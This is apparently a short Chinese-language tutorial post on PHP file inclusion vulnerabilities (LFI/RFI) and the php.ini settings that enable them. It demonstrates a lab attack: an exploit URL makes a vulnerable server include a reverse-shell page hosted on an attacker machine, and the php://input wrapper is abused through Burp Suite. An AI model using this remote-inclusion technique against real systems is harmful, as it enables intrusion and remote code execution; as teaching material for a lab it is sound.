文件包含有的函数在PHP里面有4个,分别是include、include_once、require、require_once ,都是加载文件或协议资源,将其内容作为PHP代码执行。文件包含又分为本地文件包含LFI和远程文件包含RFI,这个是由php.ini配置文件的allow_url_include和allow_url_fopen控制的,如果2个都是On,那么就是远程文件包含RFI,否则就是本地文件包含,值得注意的是,如果仅仅打开了 allow_url_include,还可以利用PHP伪协议实现任意代码执行。
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
为了完成这个小实验,先开启allow_url_include和allow_url_fopen,重启apache2,如下图所示:
接下来,我来演示一下如何通过远程文件包含,实现任意代码执行(webshell)
1)kali 黑客主机,上面写一个网站,内容是反弹shell
2)访问含有文件包含漏洞的脆弱性靶场( ubuntu )
http://192.168.0.104/ailx10.php?ailx10=http://192.168.0.103/hack-you.php3)反弹shell成功,可以任意代码执行
本文的最后,我给大家表演一下PHP伪协议,在仅开启allow_url_include的情况下的应用,这里也非常简单,还是上面的任意代码执行的例子,我们只需要使用burpsuite进行修改请求内容,将反弹shell脚本放在请求里面就可以了,注意这里请求的路径是php://input
编辑于 2023-09-03 10:45・IP 属地江苏